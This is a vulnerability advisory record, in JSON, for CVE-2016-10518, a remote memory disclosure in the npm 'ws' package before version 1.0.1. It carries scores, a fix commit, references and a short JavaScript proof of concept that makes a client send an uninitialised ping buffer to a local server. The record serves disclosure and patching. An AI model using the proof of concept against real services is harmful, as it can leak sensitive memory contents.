{"id":"CVE-2016-10518","aliases":["GHSA-2mhh-w6q8-5hxw"],"url":"https://o3.security/vulnerability/CVE-2016-10518","summary":"Remote Memory Disclosure in ws","details":"Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.\n\nIn certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.\n\n\n\n## Proof of Concept\n```\nvar ws = require('ws')\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws('ws://localhost:9000')\n\nclient.on('open', function () {\n  console.log('open')\n  client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n  client.on('pong', function (data) {\n    console.log('got pong')\n    console.log(data) // Data from the client. \n  })\n})\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.","published":"2018-05-31T20:29:00.503Z","modified":"2026-07-08T12:42:55.899650Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.02015,"percentile":0.7995,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"ws","fixedVersion":"1.0.1"}],"fix":{"url":"https://github.com/websockets/ws/commit/29293ed11b679e0366fa0f6bb9310b330dafd795","label":"websockets/ws@29293ed"},"references":[{"type":"ADVISORY","url":"https://github.com/websockets/ws/releases/tag/1.0.1"},{"type":"ADVISORY","url":"https://nodesecurity.io/advisories/67"},{"type":"FIX","url":"https://gist.github.com/c0nrad/e92005446c480707a74a"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10518"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/29293ed11b679e0366fa0f6bb9310b330dafd795"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2mhh-w6q8-5hxw"},{"type":"WEB","url":"https://www.npmjs.com/advisories/67"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-08T12:42:55.899650Z"}}